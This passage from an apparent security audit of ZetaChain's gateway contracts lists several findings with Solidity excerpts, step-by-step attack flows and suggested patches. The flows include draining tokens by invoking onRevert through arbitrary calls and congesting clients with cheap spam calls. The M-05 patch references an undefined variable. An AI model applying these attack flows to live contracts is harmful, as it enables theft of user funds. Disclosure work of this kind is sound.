16 | |[M-06](#m-06-a-malicious-user-can-cause-a-dos-zetachain-clients-by-spamming-evm-inbound-calls)|A malicious user can cause A `DoS` ZetaChain clients by spamming `EVM` inbound calls|MEDIUM|
17 |
18 |
19 | ---
20 |
21 | ## [H-01] All ZetaToken Transfers from `EVM -> Zeta` can't be recovered.
22 |
23 | ### Description
24 | When depositing tokens from `EVM -> ZetaChain` we are either transfering Native tokens / ERC20 tokens or the Zetatoken in that source chain (also in ERC20).
25 |
26 | [GatewayEVM.sol#L248-L250](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/evm/GatewayEVM.sol#L248-L250)
27 | ```solidity
28 | function deposit( ... ) ... {
29 | if (amount == 0) revert InsufficientERC20Amount();
30 | if (receiver == address(0)) revert ZeroAddress();
31 |
32 | @> transferFromToAssetHandler(msg.sender, asset, amount);
33 |
34 | emit Deposited(msg.sender, receiver, amount, asset, "", revertOptions);
35 | }
36 | ...
37 | // @audit If the tokens is ZetaToken ERC20 we are transferring it to Connector, else deposit into ERC20Custody
38 | function transferFromToAssetHandler(address from, address token, uint256 amount) private {
39 | @> if (token == zetaToken) { ... }
40 | else { ... }
41 | }
42 | ```
43 |
44 |
45 | Native tokens like `ether` in Ethereum, and `matic` in Polygon are represented as `ZRC20` on ZetaChain, and zeta token has the same implementation as `WETH9`.
46 |
47 | If we checked how we are recovering deposits with messages from `EVM -> Zeta`, which are transfers using `depositAndCall()` on EVM Gateways. we will find there are two function implementations for `depositAndCall()` in ZEVM Gateway.
48 |
49 | [GatewayZEVM.sol#L310-L327](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/zevm/GatewayZEVM.sol#L310-L327) | [GatewayZEVM.sol#L334-L350](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/zevm/GatewayZEVM.sol#L334-L350)
50 | ```solidity
51 | // deposit and call with ZRC20 tokens
52 | function depositAndCall( ... ) ... {
53 | ...
54 |
55 | @> if (!IZRC20(zrc20).deposit(target, amount)) revert ZRC20DepositFailed();
56 | UniversalContract(target).onCrossChainCall(context, zrc20, amount, message);
57 | }
58 | ...
59 | // deposit and call with ZetaToken
60 | function depositAndCall( ... ) ... {
61 | ...
62 |
63 | @> _transferZETA(amount, target);
64 | UniversalContract(target).onCrossChainCall(context, zetaToken, amount, message);
65 | }
66 | ```
67 |
68 | For `ZRC20` tokens we are calling `deposit()`, but if the token is ZetaToken we are not calling `deposit()`, as ZetaToken in ZEVM is like wrapped ETH (don't implement that function), so there is another way to recover Zetatoken transfers from Source chain, by transferring them to the recipient blockchain tokens.
69 |
70 | The issue is that there is no function in `GatewayZEVM` that allows recovering transfers of ZetaToken from the source chain without a message, there is only one instance of `deposit()` that is used for `ZRC20` tokens, but there is no another one for depositing `Zeta Token`.
71 |
72 | This will result in the inability to recover ZetaToken deposits from EVM Chains with no messages, leading to loss of user funds.
73 |
74 | ### Recommendations
75 | Implement a `deposit()` function that recovers the native Zeta deposits without messages.
76 |
77 | ```diff
78 | diff --git a/v2/contracts/zevm/GatewayZEVM.sol b/v2/contracts/zevm/GatewayZEVM.sol
79 | index d51ec41..13786a1 100644
80 | --- a/v2/contracts/zevm/GatewayZEVM.sol
81 | +++ b/v2/contracts/zevm/GatewayZEVM.sol
82 | @@ -276,7 +276,11 @@ contract GatewayZEVM is
83 |
84 | if (target == FUNGIBLE_MODULE_ADDRESS || target == address(this)) revert InvalidTarget();
85 |
86 | - if (!IZRC20(zrc20).deposit(target, amount)) revert ZRC20DepositFailed();
87 | + if (zrc20 == zetaToken) {
88 | + _transferZETA(amount, target);
89 | + } else {
90 | + if (!IZRC20(zrc20).deposit(target, amount)) revert ZRC20DepositFailed();
91 | + }
92 | }
93 |
94 | /// @notice Execute a user-specified contract on ZEVM.
95 | ```
96 |
97 | ---
98 |
99 | ## [H-02] `RevertContext` struct implementation uses `uint64` for assets to recover which is too small
100 |
101 | ### Description
102 |
103 | When transferring tokens `Zeta <-> EVM`, we are providing `RevertOptions`, where we can either call `onRevert()` hook or not depending on the option we provide.
104 |
105 | [Revert.sol#L10-L16](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/Revert.sol#L10-L16)
106 | ```solidity
107 | struct RevertOptions {
108 | address revertAddress;
109 | bool callOnRevert; // << either to call `onRevert()` on destination
110 | address abortAddress;
111 | bytes revertMessage;
112 | uint256 onRevertGasLimit;
113 | }
114 | ```
115 |
116 | If we are going to call `onRevert()` the `TSS_ROLE` recovers assets by transferring them to the receiver, it provides `RevertContext` Struct object which is passed as a parameter when calling `onRevert()` to make the receiver recover the token back, but the problem is that the number of tokens is expressed as `uint64` not `uint256`.
117 |
118 | [Revert.sol#L22-L26](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/Revert.sol#L22-L26)
119 | ```solidity
120 | struct RevertContext {
121 | address asset;
122 | >> uint64 amount;
123 | bytes revertMessage;
124 | }
125 | ```
126 |
127 | `uint64` is so small amount to express an ERC20 token, we will not be able to acctually recover most of normal deposits.
128 |
129 | - `type(uint64).max` = 18_446_744_073_709_551_615 ~= `18.45e18`.
130 |
131 | Since the common decimal is `18`, this means that if the amount of tokens to recover exceeds `18.45` we will not be able to recover them, as this will result in overflow.
132 |
133 | If we say that the token amount worth `1$`, this means that we will not be able to recover the transfer what worth `19$` or more.
134 |
135 | A side Note here, is that ZetaToken is worth `0.4476$`, from the time of writing this report. so we will not be able to recover even `9$` worth of Zeta transfers in case of reverting with `onRevert()` hook.
136 |
137 | So this will result in the inability to recover most of ERC20 transfers because of extremely low data size for assets.
138 |
139 | ### Recommendations
140 | Change the type of assets to `uint256` instead of `uint64`.
141 |
142 | ```diff
143 | diff --git a/v2/contracts/Revert.sol b/v2/contracts/Revert.sol
144 | index 7675f0c..3d0d483 100644
145 | --- a/v2/contracts/Revert.sol
146 | +++ b/v2/contracts/Revert.sol
147 | @@ -21,7 +21,7 @@ struct RevertOptions {
148 | /// @param revertMessage Arbitrary data sent back in onRevert.
149 | struct RevertContext {
150 | address asset;
151 | - uint64 amount;
152 | + uint256 amount;
153 | bytes revertMessage;
154 | }
155 | ```
156 |
157 | ---
158 | ---
159 | ---
160 |
161 | ## [M-01] Universal Apps can't verify the original message source in case of recovery
162 |
163 | ### Description
164 |
165 | > We will talk about Universal Apps in `ZetaChain` (ZEVM), but the issue existed also in EVM (Revertable Contracts).
166 |
167 | Universal Apps are the apps are the contracts deployed on `ZEVM`, that will be used to integrate with all `EVMs` connected to Zetachain, besides Bitcoin, and Solana.
168 |
169 | These Apps should implement 2 important functions.
170 | 1. `onCrossChainCall()`: this will get fired when a message comes from `EVM` to `ZEVM`.
171 | 2. `onRevert()`: this will get executed when making a call from that `Universal App` on `ZEVM` to another destination `EVM` and it gets reverted.
172 |
173 | [zevm/interfaces/UniversalContract.sol#L24-L34](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/zevm/interfaces/UniversalContract.sol#L24-L34)
174 | ```solidity
175 | interface UniversalContract {
176 | function onCrossChainCall( ... ) external;
177 |
178 | function onRevert(RevertContext calldata revertContext) external;
179 | }
180 | ```
181 |
182 | `RevertContext` is the struct Object that is passed to the `Universal App` on `ZEVM` when calling `onRevert()` in case of reverting.
183 |
184 | [Revert.sol#L22-L26](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/Revert.sol#L22-L26)
185 | ```solidity
186 | struct RevertContext {
187 | address asset;
188 | uint64 amount;
189 | bytes revertMessage;
190 | }
191 | ```
192 |
193 | - `asset`: is the `ZRC20` token address (native coin is address_zero) we are transferring (in case of token transfer).
194 | - `amount`: is the amount of tokens we are transferring.
195 | - `revertMessage`: is used so that the Universal App can recover assets, etc...
196 |
197 | When the user makes a transfer `ZEVM <-> EVM`, he passes `RevertOptions`, which includes the address ZetaClients will call in the case of revert of Omnichain tx.
198 |
199 | [Revert.sol#L10-L16](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/Revert.sol#L10-L16)
200 | ```solidity
201 | struct RevertOptions {
202 | >> address revertAddress;
203 | bool callOnRevert;
204 | address abortAddress;
205 | bytes revertMessage;
206 | uint256 onRevertGasLimit;
207 | }
208 | ```
209 |
210 | The users have the freedom to set the `revertAddress`, which is the address that we will call `onRevert()` on it, as any value, when transferring from `ZEVM` to any `EVM`.
211 |
212 | [zevm/GatewayZEVM.sol#L172](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/zevm/GatewayZEVM.sol#L172)
213 | ```solidity
214 | function withdrawAndCall(
215 | bytes memory receiver,
216 | uint256 amount,
217 | address zrc20,
218 | bytes calldata message,
219 | uint256 gasLimit,
220 | >> RevertOptions calldata revertOptions
221 | ) ... { ... }
222 | ```
223 |
224 | We know that calling `onRevert()` is only called in case of a transfer from `ZEVM` to `EVM` gets reverted, so Universal App restricted it to be only callable by `GatewayZEVM`, but the problem here is how can the Univeral App authorize that this calling of `onRevert()` is for a failed transfer from his side?
225 |
226 | We will illustrate what is the problem in the POC.
227 |
228 | ### Proof of Concept
229 | - We have two universal Apps `UA1` and `UA2`.
230 | - each of these apps implements the `onCrossChainCall` and `onRevert`, and can be used to interact between `ZEVM` and other supported `EVMs` in Zetachain.
231 | - `onRevert()` is used to recover user assets back, in case the transfer reverts.
232 | - Attacker is using `UA1` (UA1 is a malicious Universal App made by the Attack).
233 | - Attacker made a transfer from `UA1` to another `EVM` chain.
234 | - Attacker provided the RevertOptions with revertAddress equal to `UA2` (since he controls `UA1`).
235 | - Message reverted.
236 | - ZetaClients will recover the failed transfer.
237 | - They will call `onRevert()` on the revertAddress provided, which is `UA2`.
238 | - `UA2` will make the recovery process, thinking it was an original transfer from his side.
239 | - Now, let's examine what happens:
240 | - MessageCalling/Transfering of tokens occurring from `UA1`
241 | - The transfer revert.
242 | - Recovery occurs at `UA2`.
243 |
244 | The issue is that `UA2` will not be able to authorize whether this calling of `onRevert()` is because a reverted transfer (Omnichain transfer) happened on his side or not. as calling `onRevert()` is not providing the sender/caller for that withdrawal, which is `UA1`.
245 |
246 | There is no way for Universal App to authorize that the calling of `onRevert()` is because of a revert of a transfer (Omnichain transfer) from their contract or another contract, as we are not passing the sender.
247 |
248 | ### Recommendations
249 |
250 | Pass the sender of the message in the `RevertContext` Object, so that `Universal Apps` can authorize that they were the original sender of that message to be recovered.
251 |
252 | ```diff
253 | diff --git a/v2/contracts/Revert.sol b/v2/contracts/Revert.sol
254 | index 7675f0c..ad5a775 100644
255 | --- a/v2/contracts/Revert.sol
256 | +++ b/v2/contracts/Revert.sol
257 | @@ -20,6 +20,7 @@ struct RevertOptions {
258 | /// @param amount Amount specified with the transaction.
259 | /// @param revertMessage Arbitrary data sent back in onRevert.
260 | struct RevertContext {
261 | + bytes sender;
262 | address asset;
263 | uint64 amount;
264 | bytes revertMessage;
265 | ```
266 |
267 | - Since `UA1` is a Universal App and interacts with EVMs supported in ZetaChain, it can use `GatewayZEVM`.
268 | - When making a call, we are emitting the sender (msg.sender) that calls `GatewayZEVM`, which is `UA1`.
269 | - ZetaClient knows who was the sender by listening to the event.
270 | - ZetaClients can pass that sender in the RevertContext object.
271 | - Universal Apps can authorize there was the original sender of that message.
272 |
273 | _NOTE: we have to make the `sender` in bytes to support `onRevert()` in non EVM chains_
274 |
275 | ---
276 |
277 | ## [M-02] Forcing `GAS_LIMIT` in native token transfers can make Smart Contracts receiving go OOG
278 |
279 | ### Description
280 | When withdrawing ZRC20 tokens, we are passing the `GAS_LIMIT` as a constant value.
281 |
282 | [zevm/GatewayZEVM.sol#L144](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/zevm/GatewayZEVM.sol#L144) | [zevm/GatewayZEVM.sol#L91-L94](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/zevm/GatewayZEVM.sol#L91-L94)
283 | ```solidity
284 | function withdraw( ... ) ... {
285 | if (receiver.length == 0) revert ZeroAddress();
286 | if (amount == 0) revert InsufficientZRC20Amount();
287 |
288 | >> uint256 gasFee = _withdrawZRC20(amount, zrc20);
289 | }
290 | ...
291 | function _withdrawZRC20(uint256 amount, address zrc20) internal returns (uint256) {
292 | // Use gas limit from zrc20
293 | >> return _withdrawZRC20WithGasLimit(amount, zrc20, IZRC20(zrc20).GAS_LIMIT());
294 | }
295 | ```
296 |
297 | ZRC20 tokens are not just representing ERC20 on differnet EVM chains, but it also include native EVM chain coin. i.e it can include ethereum.
298 |
299 | Forcing the `GAS_LIMIT` to be a constant value is Ok for most of the tokens, as in most cases transfering ERC20 tokens gas cost is constant for all tokens, it can differ but gas used will always be the same when ever you transfer, and who ever the receiver, so Making the value is constant is OK.
300 |
301 | The problem is that Native coins gas used is not constant, and varies according to the receiver.
302 | - If the receiver is EOA
303 | - If the receiver is Smart Contract Wallet (Safe wallet consums more gas for example)
304 | - If the receiver is Account Abstraction wallet
305 | - If the receiver is a Smart Contract (with fallback handler)
306 |
307 | Smart Contracts can have custome logic when they receive ether, this is the case for Safe Smart Contract Wallets for example. so forcing the value of gas is not good as If we made it the amount for EOA addresses, then Smart Contract Wallets transfer function can revert. and if we made it with large value we are making users pay more than they should.
308 |
309 | This occuar for only withdrawing process, in case of withdrawAndCall we are providing the value ourselves.
310 |
311 | ### Recommendation
312 | Make the `GAS_LIMIT` customizable, by either making it passed by the user or adding it to the Limit `GAS_LIMIT + user additional gas passed`.
313 |
314 | ---
315 |
316 | ## [M-03] Malicious users can manipulate `Revertable` Contracts `onRevert()` as a normal message on `EVM` chains
317 |
318 | ### Description
319 |
320 | > Universal Apps are apps that support `onCrossChainCall()` and `onRevert()` on `ZetaBlockchain`, and Revertable contracts are contracts that support `onRevert()` on `EVM` chains, we will use `Universal Apps` expression to express both og them in this report.
321 |
322 | When sending transactions from `Zeta` to `EVM` we are doing an arbitrary call to the destination contract. If there are tokens to transfer, we approve the destination contract to do what he wants with tokens then we reset the Approval to zero.
323 |
324 |
325 | [evm/GatewayEVM.sol#L78-L83](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/evm/GatewayEVM.sol#L78-L83) | [evm/GatewayEVM.sol#L163-L169](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/evm/GatewayEVM.sol#L163-L169)
326 | ```solidity
327 | function executeWithERC20( ... ) ... {
328 | ...
329 | if (!resetApproval(token, to)) revert ApprovalFailed();
330 | 1: if (!IERC20(token).approve(to, amount)) revert ApprovalFailed();
331 | // Execute the call on the target contract
332 | 2: _execute(to, data);
333 |
334 | // Reset approval
335 | if (!resetApproval(token, to)) revert ApprovalFailed();
336 | ...
337 | }
338 | ...
339 | function _execute(address destination, bytes calldata data) internal returns (bytes memory) {
340 | 3: (bool success, bytes memory result) = destination.call{ value: msg.value }(data);
341 | if (!success) revert ExecutionFailed();
342 |
343 | return result;
344 | }
345 |
346 | ```
347 |
348 | This is the flow of a successful message from `Zeta` to `EVM`, now let's say how users interact when making transactions from `EVM` to `Zeta`.
349 |
350 | Now lets discuss the flow for transactions from `EVM` to `Zeta`. If we transfered a transaction from `EVM` to `Zeta` and the transaction gets reverted, we are sending assets to the user back on source chain `EVM` chain and call `onRevert()` if it is a Revertable contract (supports `onRevert()`).
351 |
352 | Now this is the problem, Revertable contracts `onRevert()` hook should be designed in a way to recover assets back after it received them, ZetaClients calls it by providing `RevertContext` Object, which contains the ERC20 address, amount received, and a custom message.
353 |
354 | [Revert.sol#L22-L26](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/Revert.sol#L22-L26)
355 | ```solidity
356 | struct RevertContext {
357 | address asset;
358 | uint64 amount;
359 | bytes revertMessage;
360 | }
361 | ```
362 |
363 | The way of recovering Failed `EVM -> Zeta` txs is by calling `revertWithERC20()`, in case of ERC20 token transfers, which sends money to the Revertable contract then call `onRevert()` hook, to recover assets back.
364 |
365 |
366 | [evm/GatewayEVM.sol#L187-L206C6](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/evm/GatewayEVM.sol#L187-L206C6)
367 | ```solidity
368 | function revertWithERC20( ... ) ... {
369 | ...
370 |
371 | 1: IERC20(token).safeTransfer(address(to), amount);
372 | 2: Revertable(to).onRevert(revertContext);
373 |
374 | emit Reverted(to, token, amount, data, revertContext);
375 | }
376 | ```
377 |
378 |
379 | Know These Universal apps `onRevert()` takes the `asset` and `amount` with a custom message to handle tokens, and since Gateway is a trusted entity, Universal Apps, which are apps built to interact between different BlockChains, trusts this calling `onRevert()` to recover tokens etc...
380 |
381 | The idea here is that The ERC20 `address` and `amount` was transferred to the Universal App actually, if the Universal app receives a call `onRevert()`, the parameters including ERC20 address, assets amount are handled to be already received by the Universal App.
382 |
383 | Universal App will only make `GatewayEVM` has the authority to call this function, as the assets and amount passed are the assets that the app just received from the Gateway.
384 |
385 | ### Proof of Concept
386 |
387 | The issue here lies in the arbitrary call we can make when doing `Zeta -> EVM`.
388 | 1. Make an Omnichain call `Zeta -> EVM`.
389 | 2. We made the receiver one of the `Universal Apps` on the destination `EVM` chain that supports `onRevert()`.
390 | 3. Call a function selector `onRevert()`, and add `RevertContext` as parameter input.
391 | 4. ZetaClients process the message.
392 | 5. They made that arbitrary call to the `Univeral App`.
393 | 6. The Universal app `onRevert()` function gets fired with the ERC20 address, and amount in the `RevertContext` parameter received from the `GatewayEVM`.
394 | 7. The Universal app now will try to recover these assets back (since the caller is GatewayEVM App, it thinks it is a recovery method)
395 | 8. Taking any ERC20 tokens in the `Universal App` easily using this flow, by recovering tokens transfer assets that is not yet transfered.
396 |
397 | _NOTE: the issue here is not because of `Universal App` implementation, no. the idea here is that `onRevert()` is designed to get called to recover assets that was transferred by the `GatewayEVM`, so `Universal Apps` implementing it will implement it that way, i.e recovering a failed transfer of assets we send from the `App` to `Zeta`, we received the tokens back and want to recover them. So `onRevert()` should be called for a reverted message only and not called independently._
398 |
399 | _Since the caller is always the `GatewayEVM` Universal Apps will have no way to distinguish between `onRevert()` which is a real recovery process, of funds they receiver, or a normal Omnichain message comes from Zeta. Since GatewayEVM can call arbitrary calls, which makes the issue in the design implementation of ZetaChain itself, not in the `Universal App`_
400 |
401 | ### Recommendations
402 |
403 | Prevent the execution of `onRevert(RevertContext)` function when doing the arbitrary call. This can be done by preventing calling this function selector.
404 |
405 | ```diff
406 | diff --git a/v2/contracts/evm/GatewayEVM.sol b/v2/contracts/evm/GatewayEVM.sol
407 | index 18a1766..b9f137d 100644
408 | --- a/v2/contracts/evm/GatewayEVM.sol
409 | +++ b/v2/contracts/evm/GatewayEVM.sol
410 | @@ -76,6 +76,7 @@ contract GatewayEVM is
411 | /// @param data Calldata to pass to the call.
412 | /// @return The result of the call.
413 | function _execute(address destination, bytes calldata data) internal returns (bytes memory) {
414 | + if (bytes4(data) == Revertable.onRevert.selector) revert("InvalidSelector()");
415 | (bool success, bytes memory result) = destination.call{ value: msg.value }(data);
416 | if (!success) revert ExecutionFailed();
417 | ```
418 |
419 | ---
420 |
421 | ## [M-04] Message transfereing with `onRevert()` can't get recovered
422 |
423 | ### Description
424 | When passing messages either with token transfer or not `EVM <-> Zeta` if the destination is ZetaChain then we are not paying gas for a destination, and if the destination is `EVM` then we pay for the gas.
425 |
426 | If the transfer/message sending failed we can have a mechanism to recover this by calling `onRevert()` in the revertAddress on the source chain either `EVM` or `Zeta`.
427 |
428 | [Revert.sol#L10-L16](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/Revert.sol#L10-L16)
429 | ```solidity
430 | struct RevertOptions {
431 | >> address revertAddress;
432 | bool callOnRevert;
433 | address abortAddress;
434 | bytes revertMessage;
435 | >> uint256 onRevertGasLimit;
436 | }
437 | ```
438 |
439 | Users provide the gas limit that will be used to execute their `onRevert()`. since users don't pay for `onRevertGasLimit`, ZetaChain takes an amount of the assets transferred to cover the gas that will be used for that gasLimit (this happens at the protocol level).
440 |
441 | We are aware that if the amount of assets transferred value is less than the value of `onRevertGasLimit`, ZetaClients will not process the recovery process as assets transferred can't pay for `onRevertGasLimit`, but we don't know actually how this case is handled and we think it is a design choice after all.
442 |
443 | The problem that we want to point out in this report is that there are type of message calls that don't even pass assets (message transferring). As we can see in the GatewayEVM, we call `call()` function that is used as message protocol transfering only, no assets are transferred.
444 |
445 | [evm/GatewayEVM.sol#L306-L317](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/evm/GatewayEVM.sol#L306-L317)
446 | ```solidity
447 | function call(
448 | address receiver,
449 | bytes calldata payload,
450 | >> RevertOptions calldata revertOptions
451 | ) ... {
452 | if (receiver == address(0)) revert ZeroAddress();
453 | emit Called(msg.sender, receiver, payload, revertOptions);
454 | }
455 | ```
456 |
457 | As we can see, this function is used to transfer a message from `EVM` to `Zeta`, since ZetaClients pay the gas on Zeta, we are not talking gasFees for destination chain execution, since it is ZetaChain, but if the execution on the destination failed, ZetaClients will try to process recovery process, by calling revertAddress in `RevertOptions` on the source `EVM` chain.
458 |
459 | The problem here is that ZetaClients are designed to take an amount of assets transfered to cover for the `onRevertGasLimit`, but as this is just a message transfereing not assets transferring, ZetaClients will not be able to do anything. as no tokens are paid by that user.
460 |
461 | The function accepts `RevertOptions`, which is used in recovery in case of failed of the message/token transfer. In case of token transfer, we are taking some tokens, but for message transfers, there are no tokens. it is impossible to call `onRevert()` since there are no funds paid by the sender to recover `onRevertGasLimit`.
462 |
463 | This will end up being unable to recover reverted messages since no assets are transferred to it.
464 |
465 | This issue affects message transfering with no assets in `GatewayZEVM` too.
466 |
467 | ### Recommendations
468 | Either take the amount `onRevertGasLimit` in case of supporting Reverting with `onRevert()` mechanism. or disallow recovering for messages only (this will be easier).
469 |
470 | _NOTE: there is a side issue we mentioned in this issue report which is the small amount of token transferred, that is worth cents, can be unrecoverable because the `onRevertGasLimit` can exceed all transferred oken value, especially in the Ethereum network that has High tx cost. But as we said earlier we think this is a design choice. Please if this side issue is judged a real issue, consider duplicating it with its group_
471 |
472 | ---
473 |
474 |
475 | ## [M-05] Handling Reverting with `onRevert()` support for `Zeta -> EVM` will always revert if the token is ZetaToken
476 |
477 | ### Description
478 | When depositing tokens from `Zeta -> EVM` we either transfer Zeta token (native) or ZRC20 tokens.
479 |
480 | [zevm/GatewayZEVM.sol#L131-L136](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/zevm/GatewayZEVM.sol#L131-L136) | [zevm/GatewayZEVM.sol#L200-L205](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/zevm/GatewayZEVM.sol#L200-L205)
481 | ```solidity
482 | // @audit withdrawing ZRC20 tokens from ZetaChain to a destination EVM chain
483 | function withdraw( ... ) ... {
484 | ...
485 |
486 | >> uint256 gasFee = _withdrawZRC20(amount, zrc20);
487 | emit Withdrawn( ... );
488 | }
489 | ...
490 | // @audit withdrawing native ZetaToken from ZetaChain to destination EVM chain
491 | function withdraw( ... ) ... {
492 | ...
493 |
494 | >> _transferZETA(amount, FUNGIBLE_MODULE_ADDRESS);
495 | emit Withdrawn( ... );
496 | }
497 | ```
498 |
499 |
500 | When transferring `ZRC20` from `Zeta` to `EVM`, we are burning tokens on ZetaChain, but if the token is ZetaToken itself native coin in ZetaChain, we are not burning we are transferring it to the `Fungible address` using `_transferZETA()`.
501 |
502 | If this transfer process reverts (from Zeta to EVM), we should be able to recover them by sending them back to the sender on the source chain `ZetaChain`. and in case the sender is a Universal App (supports `onRevert()`), we should transfer the tokens back to him then call `onRevert()` directly.
503 |
504 | The problem is that the function(s) used to handle reverting in `GatewayZEVM` are `executeRevert()` and `depositAndRevert()`.
505 |
506 | 1. `depositAndRevert()` is used for all `ZRC20` tokens, but it can't be called in case of Native tokens, as it do not transfer Native, and it calls `ZRC20::deposit(address,uint256)` interface, which only existed in ZRC20 tokens, not ZetaWrapped token (wrapped Zeta is similar to WETH9).
507 |
508 | [zevm/GatewayZEVM.sol#L366-L371](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/zevm/GatewayZEVM.sol#L366-L371)
509 | ```solidity
510 | function depositAndRevert( ... ) ... {
511 | if (zrc20 == address(0) || target == address(0)) revert ZeroAddress();
512 | if (amount == 0) revert InsufficientZRC20Amount();
513 | if (target == FUNGIBLE_MODULE_ADDRESS || target == address(this)) revert InvalidTarget();
514 |
515 | >> if (!IZRC20(zrc20).deposit(target, amount)) revert ZRC20DepositFailed();
516 | UniversalContract(target).onRevert(revertContext);
517 | }
518 | ```
519 |
520 | 2. And in the case of `executeRevert()` we are not allowing sending any native coins (zeta), so we can't recover Zeta by sending Native.
521 |
522 | [zevm/GatewayZEVM.sol#L355-L359](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/zevm/GatewayZEVM.sol#L355-L359)
523 |
524 | ```solidity
525 | function executeRevert(address target, RevertContext calldata revertContext) external onlyFungible whenNotPaused {
526 | if (target == address(0)) revert ZeroAddress();
527 |
528 | UniversalContract(target).onRevert(revertContext);
529 | }
530 | ```
531 |
532 | This is not the case in `GatewayEVM`, where recovering native coins can occuar as `executeRevert()` supports taking native coin.
533 |
534 | [evm/GatewayEVM.sol#L111-L113](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/evm/GatewayEVM.sol#L111-L113)
535 | ```solidity
536 | function executeRevert( ... ) ... {
537 | if (destination == address(0)) revert ZeroAddress();
538 | 1: (bool success,) = destination.call{ value: msg.value }("");
539 | if (!success) revert ExecutionFailed();
540 | 2: Revertable(destination).onRevert(revertContext);
541 |
542 | emit Reverted(destination, address(0), msg.value, data, revertContext);
543 | }
544 | ```
545 |
546 | So this will end up being unable to recover the Zeta token in case of a revert occur when transferring it from `Zeta` to `EVM` supporting `onRevert()` hook.
547 |
548 | Now, ZetaClient it has nothing to do, because of two reasons.
549 | 1. Client can't simply send native tokens to recipient and call `onRevert()` as this is not an atomic transaction.
550 | 2. The `onRevert()` hook is Universal Contracts is not accessable to anyone. These hooks should only be callable by the ` GatewayZEVM`, for authorization. and GatewayZEVM will not be able to handle that case.
551 |
552 | ### Proof of Concept
553 | - UserA has a Universal app on ZetaChain and Wants to send some ZetaTokens to another connected `EVM`.
554 | - He fired the transaction using wrappedZeta token.
555 | - GatewayZEVM gets called with `withdraw()` Zeta, and we sends native Zetacoin to the `Fungible Address`.
556 | - The tx event is noticed by ZetaClients and they process `depositAndCall` on `EVM` chain.
557 | - the function reverted.
558 | - Preparing calling `depositAndRevert()` on the source chain `ZEVM`.
559 | - The function will revert as ZetaToken is not implementing `deposit(address,uint256)` interface.
560 | - No way to recover wrapped Zeta or Sending native Zetacoin, then calling `onRevert()` in one transaction.
561 | - Loss of funds to that User
562 |
563 | ### Recommendations
564 | Supporting recovering wrapped Zeta by accepting native coin (Zeta) as Payable function, wrap them, then transfer to the recipient before executing the revert.
565 |
566 | ```diff
567 | diff --git a/v2/contracts/zevm/GatewayZEVM.sol b/v2/contracts/zevm/GatewayZEVM.sol
568 | index d51ec41..6ef1ff1 100644
569 | --- a/v2/contracts/zevm/GatewayZEVM.sol
570 | +++ b/v2/contracts/zevm/GatewayZEVM.sol
571 | @@ -352,9 +352,14 @@ contract GatewayZEVM is
572 | /// @notice Revert a user-specified contract on ZEVM.
573 | /// @param target The target contract to call.
574 | /// @param revertContext Revert context to pass to onRevert.
575 | - function executeRevert(address target, RevertContext calldata revertContext) external onlyFungible whenNotPaused {
576 | + function executeRevert(address target, RevertContext calldata revertContext) external payable onlyFungible whenNotPaused {
577 | if (target == address(0)) revert ZeroAddress();
578 |
579 | + if (msg.value > 0) {
580 | + IWETH9(zetaToken).deposit{value: msg.value}();
581 | + IWETH9(zetaToken).transfer(to, msg.value);
582 | + }
583 | +
584 | UniversalContract(target).onRevert(revertContext);
585 | }
586 | ```
587 |
588 | _NOTE: in the case of `GatewayEVM` depositing native is done by depositing native coin, so the recover process is by sending native to the recipien. But in case of `GatewayZEVM` users don't deposit native, they are depositing wrapped Zeta, and ZEVM handles wrapping process, so We found it better to make the mitigation by recovering the funds by sending wrapped Zeta instead of Native token, as the Universal App can't pay wrapped Zeta and receive Native in recovery_
589 |
590 | ---
591 |
592 | ## [M-06] A malicious user can cause A `DoS` ZetaChain clients by spamming `EVM` inbound calls
593 |
594 | ### Description
595 | In the current design, users do not pay gas for ZetaChain Outbound tx when they make `EVM -> Zeta` transfer.
596 |
597 | The problem is that ZetaClients listen to all this requests, and know this if `Called()` event is fired on that source blockchain so that it can process it and make the outbound tx required.
598 |
599 | When sending a message we are using `GatewayEVM::call()`, and it actually do nothing rather than emitting an event.
600 |
601 | [GatewayEVM.sol#L306-L317C6](https://github.com/zeta-chain/protocol-contracts/blob/main/v2/contracts/evm/GatewayEVM.sol#L306-L317C6)
602 | ```solidity
603 | function call( ... ) ... {
604 | if (receiver == address(0)) revert ZeroAddress();
605 | emit Called(msg.sender, receiver, payload, revertOptions);
606 | }
607 | ```
608 |
609 | when we calculated the gas it consumes it results in `18480`. which is too low amount, not a lot.
610 |
611 | We will use Polygon, which is the cheapest chain to calculate how much it costs in USD to make a `call()`.
612 |
613 | Cost (USD) = gas used × Average gas Price × Native token USD price × 10-9
614 |
615 | We will put Average gas Price = `30 gwei`, and matic price is `0.6$`
616 |
617 | Cost (USD) = 18480 × 30 × 0.6 × 10-9 = `0.00033264$`
618 |
619 | We only need to spend `0.00033$` to make one inbound `Polygon -> Zeta` message. and ZetaClients will process it.
620 |
621 | Now what if the user spammed txs and made like `10_000` call, this will result in ZetaClients processing `10K` transactions in the queue, to be able to complete which will affect network speed.
622 |
623 | We should keep in mind that whatever the speed ZetaChain is processing transactions, it is like `many to one` relation. Where all EVM chains in addition to Solana and BTC make inbound and it should handle it, besides outbound tx (Zeta -> EVM). So it does alot of work by default. and having such congestion with `10K` message to be processed and getting called will make the network speed go down.
624 |
